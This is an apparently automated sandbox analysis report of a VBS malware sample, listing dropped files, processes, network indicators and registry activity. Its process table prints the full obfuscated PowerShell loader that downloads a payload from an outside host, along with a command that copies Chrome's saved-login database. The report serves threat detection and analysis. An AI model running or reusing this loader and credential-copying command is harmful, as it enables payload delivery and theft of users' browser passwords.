Files
|
File Path
|
Type
|
Category
|
Malicious
|
|
|---|---|---|---|---|
|
birectangular.vbs
|
ASCII text, with CRLF line terminators
|
initial sample
|
 |
|
|
C:\Users\user\AppData\Roaming\834O80R0\834logri.ini
|
data
|
dropped
|
|
|
|
C:\Users\user\AppData\Roaming\834O80R0\834logrv.ini
|
data
|
dropped
|
|
|
|
C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506
|
Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks,
0x1 compression
|
dropped
|
||
|
C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506
|
data
|
dropped
|
||
|
C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
|
data
|
modified
|
||
|
C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
|
data
|
dropped
|
||
|
C:\Users\user\AppData\Local\Temp\DB1
|
SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie
0xb, schema 4, UTF-8, version-valid-for 1
|
modified
|
||
|
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1fndw2a0.lqk.ps1
|
ASCII text, with no line terminators
|
dropped
|
||
|
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gzcl2usq.xm1.psm1
|
ASCII text, with no line terminators
|
dropped
|
||
|
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_in3jrmsk.4py.ps1
|
ASCII text, with no line terminators
|
dropped
|
||
|
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wi35cp3e.dve.psm1
|
ASCII text, with no line terminators
|
dropped
|
||
|
C:\Users\user\AppData\Roaming\834O80R0\834logim.jpeg
|
JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024,
components 3
|
dropped
|
||
|
C:\Users\user\AppData\Roaming\834O80R0\834logrg.ini
|
Targa image data - RGB - RLE 109 x 101 x 32 +114 +111 "R"
|
dropped
|
||
|
C:\Users\user\AppData\Roaming\Concordal6.Uds
|
ASCII text, with very long lines (65536), with no line terminators
|
dropped
|
There are 5 hidden files, click here to show them.
Processes
|
Path
|
Cmdline
|
Malicious
|
|
|---|---|---|---|
|
C:\Windows\System32\wscript.exe
|
C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\birectangular.vbs"
|
|
|
|
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
|
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Fantasibilledernes Ansttelsesomraadets Grammates Methodizing
Skumredes Synostose Macrotone Guls Scyphiform245 Nonconservation Mirks171 Bonaire Vejrskifte Tekstspalte Forsorgshjemmets
Rhyton Skoenne Fullbacks Solbadets Afsnitsindrykningerne Bordeauxvine tyngende Sporingsstationens afnazificering Fantasibilledernes
Ansttelsesomraadets Grammates Methodizing Skumredes Synostose Macrotone Guls Scyphiform245 Nonconservation Mirks171 Bonaire
Vejrskifte Tekstspalte Forsorgshjemmets Rhyton Skoenne Fullbacks Solbadets Afsnitsindrykningerne Bordeauxvine tyngende Sporingsstationens
afnazificering';If (${host}.CurrentCulture) {$Fortrd++;}Function Jimmis($Poria){$Jumpily=$Poria.Length-$Fortrd;$Anteopercle='SUBsTRI';$Anteopercle+='ng';For(
$Racialisation=4;$Racialisation -lt $Jumpily;$Racialisation+=5){$Fantasibilledernes+=$Poria.$Anteopercle.Invoke( $Racialisation,
$Fortrd);}$Fantasibilledernes;}function Fluorideringen($Uncouthly){ . ($Flanconnade) ($Uncouthly);}$Hoosegow=Jimmis
'Un.eMSklvoFlipz ,deiR,prlSpa lk,nnaAlle/Or,i5tilb. ,dn0Bran Sam,(UndeWCrediJo.nnImprdUdsno Udlw HorsBesl aldNBemyTPrim Vas.1Neig0
Kem.Irri0,lde;Bl,t .onaWRe,aiPaahn .on6 Tre4Wagg; arm Bru.xK rs6Nost4Educ; Wo. CounrklorvB.ot:Lysa1regn2Fald1Xmas. Ans0 S.d)Elek
KrooGUstiemuhacRestk acoo S.j/came2 P,e0Pa.r1Sk m0Skil0H al1Radr0Foot1Vomi CharFTovaiStikrLeveeOverf FrdoGoloxBrss/unde1Majo2
enn1Okke.Prdi0S,nn ';$Neurocanal151=Jimmis 'UlydUEmpesSloweIlsarQ,nd- .laA PrigInteeGleanFishtskin ';$Skumredes=Jimmis 'BrochSp,ktbookt
.onpfac,sStri:Male/ Afa/ Carl DisaRafrrBiocrSvelyB,cof Undr AngaPre,n UngkBree.StancMaybpPal.a ,an/HereN.bekeU,orgDiamuAnoms
M t8Cons5Eoga.S.udcIdylshe,lv Gra ';$Minty=Jimmis 'Mero>Jamr ';$Flanconnade=Jimmis ' M.liSidee Sslx.ype ';$Lansquenet='Guls';$Andejagterne
= Jimmis 'VelkeSlaucFl.nhNontohydr L.m%Aadsapa.ap SubpForsdCa iaviv.tMiddaP,la%Semi\SikkC SidoE,tanRskncToogoRdbyrSpaddPersaCo
elOhmm6 yd.MounU chedHydasForb Am m&Gall& St. SingeMoancT,reh Truo Ade Forbt Hyp ';Fluorideringen (Jimmis 'Piep$.lyhgTreblAc
roAntib Arbakumeltest: F.lMW.ttykryso ,hapres.lObfuaFumisHoustSwaniLaarcKons=E,te(HavfcLsevm Litd Sv. ok e/R ascMonc ,mmi$Da,eA
Ke niri,dHoddeber j entaAx igParatCodaeIdenrUnpen kiheU.ad)Symp ');Fluorideringen (Jimmis 'Bdep$MirkgWea.lPreco Sexb UheaEighlVgel:DenoM
UnseGodit,ambh ageosk,ldRe pi P.ezOminiRealn A,vgFrdi=anet$BlomSBombkSlanu Re.mTakirNa oeDeted rateFrolsSkri.Jords RegpEvanl
.ipiAerotBrne(He e$FornM ResiOve.nHvidtorobyKo i)ba,a ');Fluorideringen (Jimmis ' er[deerNBlomeK.sttNig,.ReveSCohaeSlumrSk.fvPro,iKni
c ybeTandPFrago Ob iDetan Hu,tArr.MBogbaGorenGra.aNonbgHjste Ungr raa]afgr:Fors: SukSunteedevocJantuLighrVoksiSmletCol.yM.toPPro
rTahio.ourt Aflo UdvcLynto N,tl Til Scin= bin Dis,[Br dN DeveD,litObtu.LubeS kaeSmugc Resu SclrQuediInfrtZardy HyaPUnprrlrdooScout
CraoMalpcmi,io OsclOplaT ordyNeappRe aeHaak] cuc:Shoo: DamTKvldlP.tpsmorp1Unde2U.de ');$Skumredes=$Methodizing[0];$Asprout=
(Jimmis 'ps,u$ ffgSpidlStiroBrasbAdozaRudilPa t:,espNCh pyS ydk iltr Me iAutot enpiN nnkGlobkUpcueR llrfor nE.iceDjuks Non=CataNSouteDksdwU
og- eneOTeleb,egejTh seTarmc bu.tint, medlSDropyGirss.athtOpree,hormRock..ritNIridetroutModi.SengWKopieBeskbPrinCGiftl ,eri.yvteColin
.nit');$Asprout+=$Myoplastic[1];Fluorideringen ($Asprout);Fluorideringen (Jimmis 'Sa.f$ EndNTidsyretskAu,irTykmiDesttUddaiemptkDybfkBoureNatirAfp,nDdedeInkls
R,a.CaboHrodneno,taBlomdvac e BikrK,desAloe[ Lin$CalaN .eceBillu Konr.mbroTrykcPoliaCruenShamaVamplUnac1Iglo5Yaff1 Red]Peri=F,de$M,noH
Co.oAzoro Au.spapieUntagCystoRverwMaci ');$Antilogical=Jimmis 'Nedl$ RakN Prey ,opktallrGadeiKonstVer iApatkSatsk uleOverrNontnKodeeInussBlou.
In DGrafoSchww Rumn El l AfrogallaDen.d.aasFStr,iDis lCupeeUdrj(Tas,$Mo,lSCrumk K.vuHy,omKo,mrAgnoeTripdR steRandsCa.a,Mi.j$Coypt
Lany AponFlokgFloweDyn.nPlind CareUnbo)S mp ';$tyngende=$Myoplastic[0];Fluorideringen (Jimmis 'Dagk$ChargH,rrlSprioklepb Bega
SublJ.mb:beskBRevid scrl Beledgn rSamasDeci=Egen(Ha,fTPrikeOversSku,tIndh-bimaPV riaTurrtNycthL no Natu$ Prit PreyAgisnPladg
ntie EurnPantdKnageBags) Vrl ');while (!$Bdlers) {Fluorideringen (Jimmis 'None$ U sgAffelBoploPsylbPengaBrunlHand: sabSGre,y
killSanstDelae E.stStilj RhosAf.rk,agdr Udeu Bu.kImpukPraceTopm=Timb$TarptPog,rCoulust te.rbi ') ;Fluorideringen $Antilogical;Fluorideringen
(Jimmis ' BarSOph.tHy,eaMangrAvertCh.r-TotaSCitrl.axieAfkleBadmpn,na Hove4Afha ');Fluorideringen (Jimmis ' Hyd$Convg Haal
minoMultbK nta ucllAbno:rummBOutfdFortl TroeSkumrBlgesDist=Midt(AltsTKna.eGenisVeritBall-PatePToe.aNonmtTolkh Ri. .tvb$Sndet,epeyHal.nUrogg
Forese snSvovdCradeS.bs)Inha ') ;Fluorideringen (Jimmis 'Stok$ etrgSucclSindo TigbRustaR nglA.ph:FiskGExter JetaVa,mm LaimTaleaspart
UngePhoss.toc=drug$WishgJ.hnlTyveoBefubFen.a pojlSial:.kvaASu anUr,isKonft DertAuslemrkelMoh.sMe,heSy esDrn oKosmm RecrSl,daAt.laUnmidSno,eBa
mtuds.sDepo+Co y+H,pa% Tri$AfmaMFre eEjentDog h DetoTr.ndSaltiHo,sz OmgiSwinnMortg ,il.DelecVaeroDetau Ye.nSquatVan ') ;$Skumredes=$Methodizing[$Grammates];}$Marmorgulvenes=308881;$Renhedsgraders=29541;Fluorideringen
(Jimmis ' The$Arbeg Nu,l Jugo.rombHyloa Stol Cou:,riaSAadscTochynu hp.raph xoiReplfUdadoEnerrBattmArnk2Barn4Bra,5Af,a ,aug=
For iliGKokuesttttBary-Kon CSvinoFejln Spit TreeumaanTvant Ind Beto$LinitMajoyOparnTordgE uieBannnStvld,etheSeis ');Fluorideringen
(Jimmis ' Meg$AcclgKerblTrepo EnsbClinaHvidltrac:TeknUSillnDe,iaHa,pn,ejltUnliiT,syqSa,iuArenaAbr,tGenneTurvd Scl Mist= Alk
pre,[ SegS Foly,abesFlyvt,ulpeSlagm.arj.CaddCPitcoSolbnRerov IndeUnh rLactt ira] Win: ete:FrakFD.ifrChi oM.ngmQuipBHypoa LilsRedhe
St,6Sous4SlapSBnhrtTromr K riPropnAstigScus( Waa$H liSHou,cEtagyStnkpTheahFolkiIa,rfknudoProprAfgimSer,2Genn4Sp.r5Krum) Fri
');Fluorideringen (Jimmis 'Trip$StargRep,lOveroTylsbbesta UnplCoal:DigyBbrusoIn knBlreaass,iUnecrRusseTokr Ste.=Kili Mod[VirkS
Ga,yImpusHypstGrfberelimElod. SutTFasaeS.atxu dat,jer.archEDogmnSlapc .inoPiledS.ggiFuninSmmegPh.s]Steg: ns: creAFakeSMalvCSn
wI MetI m n.pos GEtagearchtUmidS engtAnstrAfskiCivinFilogRe a(Kerm$.ehjU.phenTonia AranTubat Da,iKl iqFondu heraA.amtDataeEnked
,or)Morb ');Fluorideringen (Jimmis 'Sulp$CestgPolylImmeoi.vobDiska Brul F.n:Hv,dP Bi.rresaiph,toOsterHicciRejet Srge StatSlidsForphL
beaDetovUnevePigerSkleeJgernfaddsSk,a= Su.$UnwaBDev oAlarnprogaSpliiProtrMoldeRe.u.TrfssShapu I tbDeposTak tforbrVid i SphnGaargcor.(Harp$
,erMAnneaWomarUnchm S.goForjrPedigFr,nuImpulFiscvkommeMellnPen eUr ts M.d,schm$MythRGentehus n arihfibeetjredVrngsGunsgNormrH.lba
kardMo meWorkr Saus S.u)nabo ');Fluorideringen $Prioritetshaverens;"
|
|
|
|
C:\Windows\System32\cmd.exe
|
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Concordal6.Uds && echo t"
|
|
|
|
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
|
"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Fantasibilledernes Ansttelsesomraadets Grammates Methodizing
Skumredes Synostose Macrotone Guls Scyphiform245 Nonconservation Mirks171 Bonaire Vejrskifte Tekstspalte Forsorgshjemmets
Rhyton Skoenne Fullbacks Solbadets Afsnitsindrykningerne Bordeauxvine tyngende Sporingsstationens afnazificering Fantasibilledernes
Ansttelsesomraadets Grammates Methodizing Skumredes Synostose Macrotone Guls Scyphiform245 Nonconservation Mirks171 Bonaire
Vejrskifte Tekstspalte Forsorgshjemmets Rhyton Skoenne Fullbacks Solbadets Afsnitsindrykningerne Bordeauxvine tyngende Sporingsstationens
afnazificering';If (${host}.CurrentCulture) {$Fortrd++;}Function Jimmis($Poria){$Jumpily=$Poria.Length-$Fortrd;$Anteopercle='SUBsTRI';$Anteopercle+='ng';For(
$Racialisation=4;$Racialisation -lt $Jumpily;$Racialisation+=5){$Fantasibilledernes+=$Poria.$Anteopercle.Invoke( $Racialisation,
$Fortrd);}$Fantasibilledernes;}function Fluorideringen($Uncouthly){ . ($Flanconnade) ($Uncouthly);}$Hoosegow=Jimmis
'Un.eMSklvoFlipz ,deiR,prlSpa lk,nnaAlle/Or,i5tilb. ,dn0Bran Sam,(UndeWCrediJo.nnImprdUdsno Udlw HorsBesl aldNBemyTPrim Vas.1Neig0
Kem.Irri0,lde;Bl,t .onaWRe,aiPaahn .on6 Tre4Wagg; arm Bru.xK rs6Nost4Educ; Wo. CounrklorvB.ot:Lysa1regn2Fald1Xmas. Ans0 S.d)Elek
KrooGUstiemuhacRestk acoo S.j/came2 P,e0Pa.r1Sk m0Skil0H al1Radr0Foot1Vomi CharFTovaiStikrLeveeOverf FrdoGoloxBrss/unde1Majo2
enn1Okke.Prdi0S,nn ';$Neurocanal151=Jimmis 'UlydUEmpesSloweIlsarQ,nd- .laA PrigInteeGleanFishtskin ';$Skumredes=Jimmis 'BrochSp,ktbookt
.onpfac,sStri:Male/ Afa/ Carl DisaRafrrBiocrSvelyB,cof Undr AngaPre,n UngkBree.StancMaybpPal.a ,an/HereN.bekeU,orgDiamuAnoms
M t8Cons5Eoga.S.udcIdylshe,lv Gra ';$Minty=Jimmis 'Mero>Jamr ';$Flanconnade=Jimmis ' M.liSidee Sslx.ype ';$Lansquenet='Guls';$Andejagterne
= Jimmis 'VelkeSlaucFl.nhNontohydr L.m%Aadsapa.ap SubpForsdCa iaviv.tMiddaP,la%Semi\SikkC SidoE,tanRskncToogoRdbyrSpaddPersaCo
elOhmm6 yd.MounU chedHydasForb Am m&Gall& St. SingeMoancT,reh Truo Ade Forbt Hyp ';Fluorideringen (Jimmis 'Piep$.lyhgTreblAc
roAntib Arbakumeltest: F.lMW.ttykryso ,hapres.lObfuaFumisHoustSwaniLaarcKons=E,te(HavfcLsevm Litd Sv. ok e/R ascMonc ,mmi$Da,eA
Ke niri,dHoddeber j entaAx igParatCodaeIdenrUnpen kiheU.ad)Symp ');Fluorideringen (Jimmis 'Bdep$MirkgWea.lPreco Sexb UheaEighlVgel:DenoM
UnseGodit,ambh ageosk,ldRe pi P.ezOminiRealn A,vgFrdi=anet$BlomSBombkSlanu Re.mTakirNa oeDeted rateFrolsSkri.Jords RegpEvanl
.ipiAerotBrne(He e$FornM ResiOve.nHvidtorobyKo i)ba,a ');Fluorideringen (Jimmis ' er[deerNBlomeK.sttNig,.ReveSCohaeSlumrSk.fvPro,iKni
c ybeTandPFrago Ob iDetan Hu,tArr.MBogbaGorenGra.aNonbgHjste Ungr raa]afgr:Fors: SukSunteedevocJantuLighrVoksiSmletCol.yM.toPPro
rTahio.ourt Aflo UdvcLynto N,tl Til Scin= bin Dis,[Br dN DeveD,litObtu.LubeS kaeSmugc Resu SclrQuediInfrtZardy HyaPUnprrlrdooScout
CraoMalpcmi,io OsclOplaT ordyNeappRe aeHaak] cuc:Shoo: DamTKvldlP.tpsmorp1Unde2U.de ');$Skumredes=$Methodizing[0];$Asprout=
(Jimmis 'ps,u$ ffgSpidlStiroBrasbAdozaRudilPa t:,espNCh pyS ydk iltr Me iAutot enpiN nnkGlobkUpcueR llrfor nE.iceDjuks Non=CataNSouteDksdwU
og- eneOTeleb,egejTh seTarmc bu.tint, medlSDropyGirss.athtOpree,hormRock..ritNIridetroutModi.SengWKopieBeskbPrinCGiftl ,eri.yvteColin
.nit');$Asprout+=$Myoplastic[1];Fluorideringen ($Asprout);Fluorideringen (Jimmis 'Sa.f$ EndNTidsyretskAu,irTykmiDesttUddaiemptkDybfkBoureNatirAfp,nDdedeInkls
R,a.CaboHrodneno,taBlomdvac e BikrK,desAloe[ Lin$CalaN .eceBillu Konr.mbroTrykcPoliaCruenShamaVamplUnac1Iglo5Yaff1 Red]Peri=F,de$M,noH
Co.oAzoro Au.spapieUntagCystoRverwMaci ');$Antilogical=Jimmis 'Nedl$ RakN Prey ,opktallrGadeiKonstVer iApatkSatsk uleOverrNontnKodeeInussBlou.
In DGrafoSchww Rumn El l AfrogallaDen.d.aasFStr,iDis lCupeeUdrj(Tas,$Mo,lSCrumk K.vuHy,omKo,mrAgnoeTripdR steRandsCa.a,Mi.j$Coypt
Lany AponFlokgFloweDyn.nPlind CareUnbo)S mp ';$tyngende=$Myoplastic[0];Fluorideringen (Jimmis 'Dagk$ChargH,rrlSprioklepb Bega
SublJ.mb:beskBRevid scrl Beledgn rSamasDeci=Egen(Ha,fTPrikeOversSku,tIndh-bimaPV riaTurrtNycthL no Natu$ Prit PreyAgisnPladg
ntie EurnPantdKnageBags) Vrl ');while (!$Bdlers) {Fluorideringen (Jimmis 'None$ U sgAffelBoploPsylbPengaBrunlHand: sabSGre,y
killSanstDelae E.stStilj RhosAf.rk,agdr Udeu Bu.kImpukPraceTopm=Timb$TarptPog,rCoulust te.rbi ') ;Fluorideringen $Antilogical;Fluorideringen
(Jimmis ' BarSOph.tHy,eaMangrAvertCh.r-TotaSCitrl.axieAfkleBadmpn,na Hove4Afha ');Fluorideringen (Jimmis ' Hyd$Convg Haal
minoMultbK nta ucllAbno:rummBOutfdFortl TroeSkumrBlgesDist=Midt(AltsTKna.eGenisVeritBall-PatePToe.aNonmtTolkh Ri. .tvb$Sndet,epeyHal.nUrogg
Forese snSvovdCradeS.bs)Inha ') ;Fluorideringen (Jimmis 'Stok$ etrgSucclSindo TigbRustaR nglA.ph:FiskGExter JetaVa,mm LaimTaleaspart
UngePhoss.toc=drug$WishgJ.hnlTyveoBefubFen.a pojlSial:.kvaASu anUr,isKonft DertAuslemrkelMoh.sMe,heSy esDrn oKosmm RecrSl,daAt.laUnmidSno,eBa
mtuds.sDepo+Co y+H,pa% Tri$AfmaMFre eEjentDog h DetoTr.ndSaltiHo,sz OmgiSwinnMortg ,il.DelecVaeroDetau Ye.nSquatVan ') ;$Skumredes=$Methodizing[$Grammates];}$Marmorgulvenes=308881;$Renhedsgraders=29541;Fluorideringen
(Jimmis ' The$Arbeg Nu,l Jugo.rombHyloa Stol Cou:,riaSAadscTochynu hp.raph xoiReplfUdadoEnerrBattmArnk2Barn4Bra,5Af,a ,aug=
For iliGKokuesttttBary-Kon CSvinoFejln Spit TreeumaanTvant Ind Beto$LinitMajoyOparnTordgE uieBannnStvld,etheSeis ');Fluorideringen
(Jimmis ' Meg$AcclgKerblTrepo EnsbClinaHvidltrac:TeknUSillnDe,iaHa,pn,ejltUnliiT,syqSa,iuArenaAbr,tGenneTurvd Scl Mist= Alk
pre,[ SegS Foly,abesFlyvt,ulpeSlagm.arj.CaddCPitcoSolbnRerov IndeUnh rLactt ira] Win: ete:FrakFD.ifrChi oM.ngmQuipBHypoa LilsRedhe
St,6Sous4SlapSBnhrtTromr K riPropnAstigScus( Waa$H liSHou,cEtagyStnkpTheahFolkiIa,rfknudoProprAfgimSer,2Genn4Sp.r5Krum) Fri
');Fluorideringen (Jimmis 'Trip$StargRep,lOveroTylsbbesta UnplCoal:DigyBbrusoIn knBlreaass,iUnecrRusseTokr Ste.=Kili Mod[VirkS
Ga,yImpusHypstGrfberelimElod. SutTFasaeS.atxu dat,jer.archEDogmnSlapc .inoPiledS.ggiFuninSmmegPh.s]Steg: ns: creAFakeSMalvCSn
wI MetI m n.pos GEtagearchtUmidS engtAnstrAfskiCivinFilogRe a(Kerm$.ehjU.phenTonia AranTubat Da,iKl iqFondu heraA.amtDataeEnked
,or)Morb ');Fluorideringen (Jimmis 'Sulp$CestgPolylImmeoi.vobDiska Brul F.n:Hv,dP Bi.rresaiph,toOsterHicciRejet Srge StatSlidsForphL
beaDetovUnevePigerSkleeJgernfaddsSk,a= Su.$UnwaBDev oAlarnprogaSpliiProtrMoldeRe.u.TrfssShapu I tbDeposTak tforbrVid i SphnGaargcor.(Harp$
,erMAnneaWomarUnchm S.goForjrPedigFr,nuImpulFiscvkommeMellnPen eUr ts M.d,schm$MythRGentehus n arihfibeetjredVrngsGunsgNormrH.lba
kardMo meWorkr Saus S.u)nabo ');Fluorideringen $Prioritetshaverens;"
|
|
|
|
C:\Windows\SysWOW64\cmd.exe
|
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Concordal6.Uds && echo t"
|
|
|
|
C:\Program Files (x86)\Windows Mail\wab.exe
|
"C:\Program Files (x86)\windows mail\wab.exe"
|
|
|
|
C:\Program Files (x86)\Windows Mail\wab.exe
|
"C:\Program Files (x86)\windows mail\wab.exe"
|
|
|
|
C:\Windows\explorer.exe
|
C:\Windows\Explorer.EXE
|
|
|
|
C:\Windows\SysWOW64\raserver.exe
|
"C:\Windows\SysWOW64\raserver.exe"
|
|
|
|
C:\Windows\SysWOW64\cmd.exe
|
/c copy "C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data" "C:\Users\user~1\AppData\Local\Temp\DB1"
/V
|
|
|
|
C:\Program Files (x86)\Windows Mail\wab.exe
|
"C:\Program Files (x86)\windows mail\wab.exe"
|
|
|
|
C:\Program Files\Mozilla Firefox\firefox.exe
|
"C:\Program Files\Mozilla Firefox\Firefox.exe"
|
|
|
|
C:\Program Files (x86)\Windows Mail\wab.exe
|
"C:\Program Files (x86)\windows mail\wab.exe"
|
|
|
|
C:\Windows\System32\wbem\WmiPrvSE.exe
|
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
|
||
|
C:\Windows\System32\conhost.exe
|
C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
|
||
|
C:\Windows\System32\conhost.exe
|
C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
|
||
|
C:\Windows\System32\rundll32.exe
|
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6}
-Embedding
|
There are 7 hidden processes, click here to show them.
URLs
|
Name
|
IP
|
Malicious
|
|
|---|---|---|---|
|
http://www.alignedinvestment.com/dd01/
|
46.23.69.44
|
|
|
|
www.x6hk8.com/dd01/
|
|
||
|
http://www.alignedinvestment.com/dd01/?1b=FvhX3tn&P6A=GEjLb1Tin6w6/oNmqjqy4o9Gpfy10o15axoqIuar18d6EkZQtcnwuCqOmYoZ7k0oS8ANw4sL8g==
|
46.23.69.44
|
|
|
|
https://larryfrank.cpa/Negus85.csv
|
178.128.157.150
|
||
|
http://nuget.org/NuGet.exe
|
unknown
|
||
|
http://larryfrank.cpa
|
unknown
|
||
|
http://pesterbdd.com/images/Pester.png
|
unknown
|
||
|
http://www.apache.org/licenses/LICENSE-2.0.html
|
unknown
|
||
|
https://go.micro
|
unknown
|
||
|
https://larryfrank.cpa/Negus85.
|
unknown
|
||
|
https://larryfrank.cpa
|
unknown
|
||
|
https://contoso.com/License
|
unknown
|
||
|
https://larryfrank.cpa/xdKCjAMEQDWiUiQMPQ170.bin
|
178.128.157.150
|
||
|
https://contoso.com/Icon
|
unknown
|
||
|
https://larryfrank.c
|
unknown
|
||
|
https://larryfrank.cpa/Negus85.csvXR
|
unknown
|
||
|
https://larryfrank.cpa/Negu
|
unknown
|
||
|
https://larryfrank.cpa/Negus85.c
|
unknown
|
||
|
https://github.com/Pester/Pester
|
unknown
|
||
|
https://larryfrank.cpa/Negus85
|
unknown
|
||
|
http://crl.microsh
|
unknown
|
||
|
https://larryfrank.cpa/Negus8
|
unknown
|
||
|
https://larryfrank.cp
|
unknown
|
||
|
https://larryfrank.cpa/Neg
|
unknown
|
||
|
https://larryfrank.cpa/Negus85.cs
|
unknown
|
||
|
https://larryfrank.cpa/N
|
unknown
|
||
|
https://contoso.com/
|
unknown
|
||
|
https://nuget.org/nuget.exe
|
unknown
|
||
|
https://larryfrank.cpa/Negus
|
unknown
|
||
|
https://aka.ms/pscore68
|
unknown
|
||
|
https://larryfrank.cpa/
|
unknown
|
||
|
https://larryfrank.cpa/Ne
|
unknown
|
||
|
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
|
unknown
|
There are 23 hidden URLs, click here to show them.
Domains
|
Name
|
IP
|
Malicious
|
|
|---|---|---|---|
|
alignedinvestment.com
|
46.23.69.44
|
|
|
|
www.yh-9.xyz
|
unknown
|
|
|
|
larryfrank.cpa
|
178.128.157.150
|
||
|
www.alignedinvestment.com
|
unknown
|
IPs
|
IP
|
Domain
|
Country
|
Malicious
|
|
|---|---|---|---|---|
|
46.23.69.44
|
alignedinvestment.com
|
United Kingdom
|
|
|
|
178.128.157.150
|
larryfrank.cpa
|
Netherlands
|
Registry
|
Path
|
Value
|
Malicious
|
|
|---|---|---|---|
|
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
|
EnableFileTracing
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
|
EnableAutoFileTracing
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
|
EnableConsoleTracing
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
|
FileTracingMask
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
|
ConsoleTracingMask
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
|
MaxFileSize
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
|
FileDirectory
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
|
EnableFileTracing
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
|
EnableAutoFileTracing
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
|
EnableConsoleTracing
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
|
FileTracingMask
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
|
ConsoleTracingMask
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
|
MaxFileSize
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
|
FileDirectory
|
||
|
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Discardable\PostSetup\ShellNew
|
Classes
|
||
|
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Discardable\PostSetup\ShellNew
|
~reserved~
|
||
|
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Discardable\PostSetup\ShellNew
|
Classes
|
||
|
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Discardable\PostSetup\ShellNew
|
~reserved~
|
||
|
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached
|
{33154C99-BF49-443D-A73C-303A23ABBE97} {886D8EEB-8CF2-4446-8D02-CDBA1DBDCF99} 0xFFFF
|
||
|
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Discardable\PostSetup\ShellNew
|
Classes
|
||
|
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Discardable\PostSetup\ShellNew
|
~reserved~
|
||
|
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\SessionInfo\1\ApplicationViewManagement\W32:0000000000090240
|
VirtualDesktop
|
||
|
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count
|
Zvpebfbsg.Jvaqbjf.Furyy.EhaQvnybt
|
||
|
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Discardable\PostSetup\ShellNew
|
Classes
|
||
|
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Discardable\PostSetup\ShellNew
|
~reserved~
|
||
|
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count
|
{7P5N40RS-N0SO-4OSP-874N-P0S2R0O9SN8R}\jvaqbjf znvy\jno.rkr
|
||
|
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
|
a
|
||
|
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
|
MRUList
|
||
|
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\SessionInfo\1\ApplicationViewManagement\W32:00000000000A0240
|
VirtualDesktop
|
||
|
